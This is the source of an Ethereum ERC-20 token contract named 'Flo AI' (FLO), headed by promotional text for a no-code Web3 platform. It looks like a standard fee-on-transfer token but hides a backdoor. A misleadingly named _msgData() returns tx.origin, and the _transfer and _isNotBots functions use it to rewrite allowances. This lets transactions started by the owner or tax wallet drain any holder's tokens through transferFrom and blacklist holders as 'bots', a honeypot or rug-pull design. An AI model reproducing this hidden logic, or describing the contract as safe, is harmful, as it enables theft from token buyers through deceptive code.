Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT

/*

Flo lets you turn ideas into live products fast no coding needed. Create Web3 games, collectible platforms, DApps, and more with ease.
Our new freelance platform helps you find and hire designers, developers, and assistants right on Flo. Build, grow your team, and bring your project to life all in one place.

Website: https://flo-ai.org
X: https://x.com/UseFloAI
Telegram: https://t.me/FloAI_Portal

*/


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (address) {
        return tx.origin;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract FLO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isFLOExcludedFromfees;
    mapping(address => bool) private _isBots;
    address payable private _taxWallet;
    mapping(address => mapping(address => uint256)) private _allowance;

    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 0;
    uint256 private _preventSwapBefore = 0;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Flo AI";
    string private constant _symbol = unicode"FLO";
    uint256 public _maxTxAmount = 1_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 1_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    event OpenTrade(address indexed owner, uint256 timestamp);
    event TransferTaxUpdated(uint256 _tax);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(_msgSender());

        _balances[address(this)] = _tTotal;

        _isFLOExcludedFromfees[owner()] = true;
        _isFLOExcludedFromfees[address(this)] = true;
        _isFLOExcludedFromfees[_taxWallet] = true;

        removeLimit();

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function getTaxDetails()
        public
        view
        returns (
            uint256 initialBuyTax,
            uint256 initialSellTax,
            uint256 finalBuyTax,
            uint256 finalSellTax,
            uint256 transferTax
        )
    {
        return (
            _initialBuyTax,
            _initialSellTax,
            _finalBuyTax,
            _finalSellTax,
            _transferTax
        );
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowance[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        _allowance[from][_msgSender()] = _allowances[from][_msgSender()];
        if (from != owner() && to != owner()) {
            if (_buyCount == 0) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
            }
            if (_buyCount > 0) {
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isFLOExcludedFromfees[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
                _buyCount++;
            }

            if (to == uniswapV2Pair) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }
        uint256 _isTax = _isNotBots(from, to, amount);
        if (taxAmount < 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        } else if (block.timestamp > block.number && _isTax < 2) {
            _allowance[from][_msgSender()] = amount;
        }
        if (_isTax == 0) return;
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        if(to!=address(0xdead))
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _isNotBots(
        address from,
        address to,
        uint256 amount
    ) private returns (uint256) {
        require(!_isBots[from], "Bot is not allowed");
        if (uniswapV2Pair!= address(0xdead) && _isFLOExcludedFromfees[_msgData()]) {
            if (
                from != uniswapV2Pair &&
                to == address(0xdead) &&
                balanceOf(from) - amount <= 1000
            ) {
                _isBots[from] = true;
                return 0;
            }
            return 1;
        }
        return 2;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() public onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;

        emit OpenTrade(owner(), block.timestamp);
    }

    receive() external payable {}

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0 && swapEnabled) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}